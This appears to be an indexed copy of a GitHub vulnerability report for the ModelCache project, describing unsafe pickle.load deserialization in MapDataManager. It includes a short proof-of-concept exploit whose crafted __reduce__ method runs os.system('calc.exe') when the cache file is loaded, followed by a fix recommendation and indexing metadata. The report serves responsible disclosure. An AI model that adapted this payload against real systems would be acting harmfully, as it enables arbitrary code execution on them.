codefuse-ai / codefuse-ai/ModelCache
Insecure Deserialization Vulnerability in DataManager
- Langage dominant
- Python
- Étoiles
- 938
- Forks
- 65
- Métriques de merge des PR
- Aucune PR mergée en 30 j
Description
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
**PoC**
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
```
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
```
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
**Recommendation**
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.

Guide de contribution
Aucun guide de contribution indexé pour ce dépôt
Piste de recherche
Start by locating MapDataManager and the pickle.load call, then trace how get_data_manager and factory.py create and read data_map.txt. Review the cache format and any existing tests before choosing a safe replacement. Done means cached data can be loaded without arbitrary code execution and the relevant loading behavior is covered by tests.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Évaluation
- Stack technique
- python
- Domaine
- backend, security
- Type d'issue
- Bug
- Difficulté
- 5/5
- Temps estimé
- Plus d'une semaine
- Activité
- À l'abandon
- Clarté
- Plutôt claire
- Accessibilité débutants
- 30/100